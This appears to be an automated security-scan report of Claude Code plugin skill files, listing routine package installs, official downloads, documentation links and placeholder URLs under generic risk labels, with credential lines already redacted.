    # https://openrouter.ai/docs/guides/overview/multimodal/image-generation#image-configuration-options

harness/claude-code/plugins/creative-media-tooling/skills/pdftk-server/SKILL.md

  • Dangerous shell operationline 32
    | Debian/Ubuntu | `sudo apt-get install pdftk` |
  • Dangerous shell operationline 33
    | Red Hat/Fedora | `sudo dnf install pdftk` |

harness/claude-code/plugins/creative-media-tooling/skills/pdftk-server/references/download.md

  • Dangerous shell operationline 26
    sudo apt-get install pdftk
  • Dangerous shell operationline 32
    sudo dnf install pdftk
  • Network accessline 37
    PDFtk Server (pdftk) is not public domain software. It can be installed and used at no charge under its [GNU General Public License (GPL) Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt). PDFtk uses th
  • Network accessline 45
    [PDFtk Server Redistribution License (PDF)](https://pdflabs.onfastspring.com/pdftk-server)
  • Network accessline 49
    [PDFtk Server Redistribution License](https://www.pdflabs.com/docs/pdftk-license/)
  • Network accessline 53
    PDFtk Server can be compiled from its source code. PDFtk Server is known to compile and run on [Debian](https://packages.debian.org/search?keywords=pdftk), [Ubuntu Linux](https://packages.ubuntu.com/search?keywords=pdftk), [FreeBSD](https:/
  • Network accessline 58
    curl -LO https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/pdftk-2.02-src.zip
  • Network accessline 62
    Review the [pdftk license information](https://www.pdflabs.com/docs/pdftk-license/) in: `license_gpl_pdftk/readme.txt`.
  • Network accessline 75
    PDFtk has been built using gcc/gcj/libgcj versions 3.4.5, 4.4.1, 4.5.0, and 4.6.3. PDFtk 1.4x fails to build on gcc 3.3.5 due to missing libgcj features. If you are using gcc 3.3 or older, try building [pdftk 1.12](https://www.pdflabs.com/t

harness/claude-code/plugins/creative-media-tooling/skills/pdftk-server/references/pdftk-man-page.md

  • Network accessline 3
    - **`pdftk` version 2.02** - Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes
  • Network accessline 4
    - Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes
  • Network accessline 5
    - See [server manual](https://www.pdflabs.com/docs/pdftk-man-page/) for the latest documentation

harness/claude-code/plugins/creative-media-tooling/skills/pdftk-server/references/pdftk-server-license.md

  • Network accessline 15
    [PDFtk Server Redistribution License (PDF)](https://www.pdflabs.com/docs/pdftk-license/pdf_labs_pdftk_redist_lic_agreement_ver_2.0.pdf)
  • Network accessline 19
    [Buy the PDFtk Server Redistribution License](https://pdflabs.onfastspring.com/pdftk-server)
  • Network accessline 23
    PDFtk Server (pdftk) is not public domain software. It can be used at no charge under its GNU General Public License (GPL) Version 2. [Click here to read the complete text](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_licen

harness/claude-code/plugins/creative-media-tooling/skills/pdftk-server/references/third-party-materials.md

  • Network accessline 13
    [Click to read the GNU General Public License Version 2.](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt)
  • Network accessline 15
    Libgcj is part of GCC, so you can find its source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/).
  • Network accessline 25
    [Click to read the GNU General Public License Version 3](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_3.0.txt).
  • Network accessline 27
    [Click to read the GCC Runtime Library Exception Version 3.1](https://www.pdflabs.com/docs/pdftk-license/gcc_runtime_library_exception_3.1.txt).
  • Network accessline 29
    Libgcc and libstdc++ are part of GCC, so you can find their source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/).
  • Network accessline 43
    [Click to read the GNU General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt).
  • Network accessline 45
    Classpath is part of GCC, so you can find its source code in the [GCC source code](https://gcc.gnu.org/gcc-4.5/).
  • Network accessline 51
    Copyright (c) 2000-2008 The Legion Of The Bouncy Castle (http://www.bouncycastle.org)
  • Network accessline 59
    Download the Bouncy Castle source code from: http://www.bouncycastle.org/.
  • Network accessline 67
    [Click to read the GNU Library General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt).
  • Network accessline 69
    The iText source code used in pdftk is slightly modified from its original version. This modified version is included with the [pdftk source code](https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/).
  • Network accessline 79
    Download the MinGW runtime source code from: http://mingw.org/.
  • Network accessline 87
    [Click to read the GNU Library General Public License](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt).
  • Network accessline 89
    Download the libiconv source code from: https://ftp.gnu.org/pub/gnu/libiconv/
  • Network accessline 95
    http://www.apache.org/licenses/LICENSE-2.0
  • Network accessline 99
    [Click to read the Apache License Version 2.0](https://www.pdflabs.com/docs/pdftk-license/apache_license_2.txt).
  • Network accessline 101
    [Click to read the Apache Batik NOTICE file](https://www.pdflabs.com/docs/pdftk-license/apache_batik_NOTICE.txt).
  • Network accessline 103
    Download the Apache Batik source code from: http://xmlgraphics.apache.org/batik/.

harness/claude-code/plugins/creative-media-tooling/skills/resemble-detect/LICENSE

  • Network accessline 1
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 3
    http://www.apache.org/licenses/
  • Network accessline 195
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/plugins/creative-media-tooling/skills/resemble-detect/SKILL.md

  • Network accessline 10
    metadata:   compatibility: >-     Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media
  • Network accessline 11
    compatibility: >-     Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media     must be accessible through public HTTPS URLs except text detection.
  • Network accessline 12
    [Credential-related source omitted]
  • Access to secretsline 12
    [Credential-related source omitted]
  • Network accessline 32
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 33
    - Base docs URL: <https://docs.resemble.ai/welcome>.
  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 79
    {   "url": "https://example.com/suspect.mp4",
  • Network accessline 80
    "url": "https://example.com/suspect.mp4",
  • Access to secretsline 156
    [Credential-related source omitted]
  • Network accessline 169
    [Credential-related source omitted]
  • Network accessline 212
    - [Resemble AI dashboard](https://app.resemble.ai)
  • Network accessline 213
    - [Resemble documentation](https://docs.resemble.ai/welcome)

harness/claude-code/plugins/creative-media-tooling/skills/resemble-detect/references/api-reference.md

  • Network accessline 7
    - **Base URL**: `https://docs.resemble.ai/welcome`
  • Access to secretsline 8
    [Credential-related source omitted]
  • Network accessline 19
    {   "url": "https://example.com/media.mp4",
  • Network accessline 20
    "url": "https://example.com/media.mp4",
  • Network accessline 55
    "consistency": "0.91",   "aggregated_score": "0.92",   "image": "https://{example-url}"
  • Network accessline 56
    "aggregated_score": "0.92",   "image": "https://{example-url}" }
  • Network accessline 57
    "image": "https://{example-url}"
  • Network accessline 70
    "label": "fake",   "score": 0.87,   "image": "https://{example-url}",
  • Network accessline 71
    "score": 0.87,   "image": "https://{example-url}",   "ifl": { "score": 0.82, "heatmap": "https://{example-url}" },
  • Network accessline 72
    "image": "https://{example-url}",
  • Network accessline 73
    "ifl": { "score": 0.82, "heatmap": "https://{example-url}" },
  • Network accessline 105
    { "url": "https://example.com/audio.mp3", "json": true }
  • Network accessline 175
    {   "url": "https://example.com/image.png",
  • Network accessline 176
    "url": "https://example.com/image.png",
  • Network accessline 195
    { "url": "https://example.com/suspect-image.png" }
  • Network accessline 217
    {   "audio_url": "https://example.com/known-speaker.wav",
  • Network accessline 218
    "audio_url": "https://example.com/known-speaker.wav",
  • Network accessline 226
    {   "audio_url": "https://example.com/unknown-speaker.wav",
  • Network accessline 227
    "audio_url": "https://example.com/unknown-speaker.wav",

harness/claude-code/plugins/creative-media-tooling/skills/rhino3d-scripts/SKILL.md

  • Access to secretsline 218
    [Credential-related source omitted]
  • Network accessline 268
    - [RhinoScript landing](https://docs.mcneel.com/rhino/8/help/en-us/information/rhinoscripting.htm)
  • Network accessline 269
    - [Developer hub](https://developer.rhino3d.com/)
  • Network accessline 270
    - [RhinoCommon API index](https://mcneel.github.io/rhinocommon-api-docs/api/RhinoCommon/html/R_Project_RhinoCommon.htm)
  • Network accessline 271
    - [Example scripts repo](https://github.com/mcneel/rhino-developer-samples/tree/8/rhinoscript)

harness/claude-code/plugins/creative-media-tooling/skills/rhino3d-scripts/references/macros-and-loading.md

  • Access to secretsline 118
    [Credential-related source omitted]

harness/claude-code/plugins/creative-media-tooling/skills/slang-shader-engineer/references/language-reference.md

  • Network accessline 3
    **Source:** [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository")
  • Network accessline 4
    **Official Docs:** [Official Slang Shader Online Documentation](https://shader-slang.com/slang/user-guide/ "Slang Shader Online documentation")
  • Network accessline 5
    **Playground:** [Official Slang Shader Sandbox](https://shader-slang.com/slang-playground)

harness/claude-code/plugins/creative-media-tooling/skills/slang-shader-engineer/references/slang-documentation-full.md

  • Network accessline 3
    Source: [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository")
  • Network accessline 1311
    git clone https://github.com/shader-slang/slang --recursive
  • Network accessline 1347
    # Install and activate Emscripten git clone https://github.com/emscripten-core/emsdk.git
  • Network accessline 1348
    git clone https://github.com/emscripten-core/emsdk.git
  • Network accessline 1479
    Source: [Slang Shader repository docs](https://github.com/shader-slang/slang/tree/master/docs)

harness/claude-code/plugins/creative-media-tooling/skills/transloadit-media-processing/SKILL.md

  • Network accessline 9
    metadata:   compatibility: >-     Requires a free Transloadit account (https://transloadit.com/signup). Uses the
  • Network accessline 10
    compatibility: >-     Requires a free Transloadit account (https://transloadit.com/signup). Uses the     @transloadit/mcp-server MCP server or the @transloadit/node CLI.
  • Network accessline 11
    Requires a free Transloadit account (https://transloadit.com/signup). Uses the
  • Network accessline 62
    Get your API credentials at https://transloadit.com/c/-/api-credentials
  • Network accessline 120
    "robot": "/image/resize",       "use": "resized",       "watermark_url": "https://example.com/logo.png",
  • Network accessline 121
    "use": "resized",       "watermark_url": "https://example.com/logo.png",       "watermark_position": "bottom-right",
  • Network accessline 122
    "watermark_url": "https://example.com/logo.png",
  • Network accessline 150
    "imported": {       "robot": "/http/import",       "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"]
  • Network accessline 151
    "robot": "/http/import",       "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"]     },
  • Network accessline 152
    "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"]
  • Network accessline 191
    - **Assembly**: A single processing job. Created via `create_assembly` (MCP) or `assemblies create` (CLI). - **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **R
  • Network accessline 192
    - **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.co
  • Network accessline 193
    - **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.com/docs/transcoding/

harness/claude-code/plugins/csharp-dotnet-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-mstest/SKILL.md

  • Network accessline 81
    | Conditional execution | MSTest 3.10+ supports `[OSCondition(OperatingSystems.Windows)]`, Linux/MacOS combinations, `ConditionMode.Exclude`, `[CICondition]`, and `[CICondition(ConditionMode.Exclude)]`. | | Parallelization | At assembly lev
  • Network accessline 83
    | Work items | Use `[WorkItem(12345)]` for Azure DevOps and `[GitHubWorkItem("https://github.com/owner/repo/issues/42")]` for GitHub issues; associations flow into test results for CI/CD traceability. |
  • Network accessline 128
    - [MSTest TestContext documentation](https://learn.microsoft.com/dotnet/core/testing/unit-testing-mstest-writing-tests-testcontext)
  • Network accessline 129
    - [Example GitHub work item URL](https://github.com/owner/repo/issues/42)

harness/claude-code/plugins/csharp-dotnet-development/skills/dotnet-upgrade/SKILL.md

  • Network accessline 28
    - Prefer incremental upgrades with rollback checkpoints over broad unreviewable rewrites. - Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://l
  • Network accessline 29
    - Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09
  • Network accessline 30
    - The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09-15, marks .NET Upgrade Assistant deprecated. Prefer the documented [GitHub Copilot upgrade workflow](http
  • Network accessline 31
    - The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core), verified 2026-09-15, lists .NET 10 as active LTS. Recheck at execution time; a preview or the highest installed SDK is not automatically th

harness/claude-code/plugins/data-engineering/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/data-engineering/skills/datanalysis-credit-risk/references/analysis.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/data-engineering/skills/datanalysis-credit-risk/references/func.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/data-engineering/skills/datanalysis-credit-risk/scripts/example.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/data-engineering/skills/pinecone-rag/SKILL.md

  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]

harness/claude-code/plugins/data-engineering/skills/snowflake-semanticview/SKILL.md

  • Network accessline 135
    - [Snowflake CLI installation](https://docs.snowflake.com/en/developer-guide/snowflake-cli/installation/installation)
  • Network accessline 136
    - [Configure Snowflake CLI connections](https://docs.snowflake.com/en/developer-guide/snowflake-cli/connecting/configure-connections#add-a-connection)
  • Network accessline 137
    - [CREATE SEMANTIC VIEW](https://docs.snowflake.com/en/sql-reference/sql/create-semantic-view)
  • Network accessline 138
    - [COMMENT command](https://docs.snowflake.com/en/sql-reference/sql/comment)
  • Network accessline 139
    - [Querying a semantic view](https://docs.snowflake.com/en/user-guide/views-semantic/querying#querying-a-semantic-view)

harness/claude-code/plugins/data-engineering/skills/sql-server-table-reconciliation/SKILL.md

  • Access to secretsline 91
    [Credential-related source omitted]

harness/claude-code/plugins/data-engineering/skills/sql-server-table-reconciliation/scripts/reconcile.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]

harness/claude-code/plugins/database-data-management/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/dataverse-sdk-for-python/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/dataverse-sdk-for-python/skills/dataverse-python-usecase-builder/SKILL.md

  • Access to secretsline 121
    [Credential-related source omitted]

harness/claude-code/plugins/devops-oncall/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/diagram-authoring/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/diagram-authoring/skills/draw-io-diagram-generator/SKILL.md

  • Network accessline 460
    - [Draw.io VS Code extension](https://marketplace.visualstudio.com/items?itemName=hediet.vscode-drawio)

harness/claude-code/plugins/diagram-authoring/skills/draw-io-diagram-generator/scripts/.gitignore

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/diagram-authoring/skills/draw-io-diagram-generator/scripts/add-shape.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/diagram-authoring/skills/draw-io-diagram-generator/scripts/validate-drawio.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/SKILL.md

  • Network accessline 27
    - Require a clear description of what should be visualized, including key entities, steps, concepts, relationships, and flow. - If the request has too many elements, propose multiple diagrams before generating a crowded file. - Save output 
  • Network accessline 29
    - Save output as `<descriptive-name>.excalidraw`; users can open it at https://excalidraw.com by drag-and-drop, File → Open, or the Excalidraw VS Code extension.
  • Network accessline 47
    Generate complete JSON with `type: "excalidraw"`, `version: 2`, `source: "https://excalidraw.com"`, an `elements` array, `appState.viewBackgroundColor: "#ffffff"`, `appState.gridSize: 20`, and `files: {}`.
  • Network accessline 51
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 52
    "version": 2,   "source": "https://excalidraw.com",   "elements": [],
  • Network accessline 53
    "source": "https://excalidraw.com",
  • Network accessline 188
    ### To view 1. Visit https://excalidraw.com
  • Network accessline 189
    1. Visit https://excalidraw.com
  • Network accessline 206
    - [Excalidraw](https://excalidraw.com)

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/references/excalidraw-schema.md

  • Network accessline 9
    type: "excalidraw";   version: number;           // Always 2   source: string;            // "https://excalidraw.com"
  • Network accessline 10
    version: number;           // Always 2   source: string;            // "https://excalidraw.com"   elements: ExcalidrawElement[];
  • Network accessline 11
    source: string;            // "https://excalidraw.com"
  • Network accessline 306
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 307
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 308
    "source": "https://excalidraw.com",

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/references/icon-libraries.md

  • Network accessline 20
    1. Visit https://libraries.excalidraw.com/    2. Search for "[AWS Architecture Icons/etc.]" and download the .excalidrawlib file
  • Network accessline 41
    **Step 2: Download Library ** - Visit: https://libraries.excalidraw.com/
  • Network accessline 42
    - Visit: https://libraries.excalidraw.com/ - Search for your desired icon set (e.g., "AWS Architecture Icons") - Click download to get the `.excalidrawlib` file
  • Network accessline 271
    - This workflow works with any valid `.excalidrawlib` file you provide. - Examples of library categories you may find on https://libraries.excalidraw.com/:
  • Network accessline 272
    - Examples of library categories you may find on https://libraries.excalidraw.com/:

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/.gitignore

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/README.md

  • Network accessline 27
    2. **Download and place library file**:    - Visit: https://libraries.excalidraw.com/
  • Network accessline 28
    - Visit: https://libraries.excalidraw.com/    - Search for "AWS Architecture Icons" and download the `.excalidrawlib` file    - Rename it to match the directory name: `aws-architecture-icons.excalidrawlib`
  • Network accessline 70
    1. Download desired Excalidraw libraries from https://libraries.excalidraw.com/
  • Network accessline 77
    - Examples found on https://libraries.excalidraw.com/ may include cloud/service icon sets.

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/add-arrow.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/add-icon-to-diagram.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/split-excalidraw-library.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/business-flow-swimlane-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/class-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
  • Network accessline 3
    "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",   "elements": [
  • Network accessline 4
    "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/data-flow-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/er-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/flowchart-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/mindmap-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
  • Network accessline 3
    "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",   "elements": [
  • Network accessline 4
    "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/relationship-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/sequence-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/claude-code/plugins/diagram-authoring/skills/plantuml-ascii/SKILL.md

  • Broad permissionsline 1
    Bash, Write, Read
  • Dangerous shell operationline 47
    sudo apt-get install plantuml  # Ubuntu/Debian
  • Dangerous shell operationline 48
    sudo yum install plantuml      # RHEL/CentOS
  • Network accessline 50
    # Or download JAR directly wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar
  • Network accessline 51
    wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar
  • Dangerous shell operationline 355
    - [ ] Installation blockers name the missing command and offer `brew install plantuml`, `sudo apt-get install plantuml`, `sudo yum install plantuml`, or `java -jar plantuml.jar`.
  • Network accessline 359
    - [PlantUML release JAR example](https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar)

harness/claude-code/plugins/diagram-viewer/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Aaron Powell",     "url": "https://github.com/aaronpowell"
  • Network accessline 6
    "name": "Aaron Powell",     "url": "https://github.com/aaronpowell"   },
  • Network accessline 7
    "url": "https://github.com/aaronpowell"

harness/claude-code/plugins/dotnet-desktop-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/dotnet-desktop-development/skills/msstore-cli/SKILL.md

  • Network accessline 43
    Use the Microsoft Store package at `https://www.microsoft.com/store/apps/9P53PC5S0PHJ` or manual releases at `https://aka.ms/msstoredevcli/releases` when WinGet is not appropriate.
  • Network accessline 47
    1. Go to `https://learn.microsoft.com/en-us/partner-center/` and open Partner Center.
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 137
    [Credential-related source omitted]
  • Network accessline 145
    - [Microsoft Store Developer CLI Documentation](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/overview)
  • Network accessline 146
    - [CLI Commands Reference](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/commands)
  • Network accessline 147
    - [GitHub Repository](https://github.com/microsoft/msstore-cli)
  • Network accessline 148
    - [Partner Center API](https://learn.microsoft.com/windows/uwp/monetize/using-windows-store-services)
  • Network accessline 149
    - [App Submission API](https://learn.microsoft.com/windows/uwp/monetize/create-and-manage-submissions-using-windows-store-services)
  • Network accessline 150
    - [Package Flights Overview](https://learn.microsoft.com/windows/uwp/publish/package-flights)
  • Network accessline 151
    - [Gradual Package Rollout](https://learn.microsoft.com/windows/uwp/publish/gradual-package-rollout)
  • Network accessline 152
    - [Partner Center](https://learn.microsoft.com/en-us/partner-center/)
  • Network accessline 153
    - [Microsoft Store package](https://www.microsoft.com/store/apps/9P53PC5S0PHJ)
  • Network accessline 154
    - [Manual releases](https://aka.ms/msstoredevcli/releases)

harness/claude-code/plugins/dotnet-desktop-development/skills/msstore-cli/references/commands-and-workflows.md

  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 232
    # Initialize PWA msstore init https://contoso.com --output ./pwa-package
  • Network accessline 233
    msstore init https://contoso.com --output ./pwa-package
  • Access to secretsline 401
    [Credential-related source omitted]
  • Access to secretsline 498
    [Credential-related source omitted]

harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit-di/SKILL.md

  • Network accessline 246
    - [Dependency injection in .NET](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection)
  • Network accessline 247
    - [Dependency injection usage](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection-usage)
  • Network accessline 248
    - [MVVM Toolkit Ioc](https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/ioc)
  • Network accessline 249
    - [Generic Host](https://learn.microsoft.com/en-us/dotnet/core/extensions/generic-host)
  • Network accessline 250
    - [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder)

harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit-di/references/dependency-injection.md

  • Network accessline 52
    > On WPF and Windows Forms, integrate the host lifetime with the > application lifetime — see > [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder).
  • Network accessline 54
    > [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder).

harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit-messenger/SKILL.md

  • Network accessline 308
    - Messenger docs: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/messenger>
  • Network accessline 309
    - `WeakReferenceMessenger` API: <https://learn.microsoft.com/en-us/dotnet/api/communitytoolkit.mvvm.messaging.weakreferencemessenger>
  • Network accessline 310
    - Source: <https://github.com/CommunityToolkit/dotnet>

harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit/SKILL.md

  • Network accessline 283
    - Toolkit overview: https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/
  • Network accessline 284
    - WinUI MVVM Toolkit tutorial: https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro
  • Network accessline 285
    - Source: https://github.com/CommunityToolkit/dotnet
  • Network accessline 286
    - Samples: https://github.com/CommunityToolkit/MVVM-Samples

harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit/references/end-to-end-walkthrough.md

  • Network accessline 8
    This walkthrough mirrors the official tutorial at <https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro>.
  • Network accessline 9
    <https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro>.

harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit/references/troubleshooting.md

  • Network accessline 20
    Search the full table at: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 21
    <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 208
    - All `MVVMTK0xxx` errors:   <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 209
    <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 210
    - Source: <https://github.com/CommunityToolkit/dotnet>
  • Network accessline 211
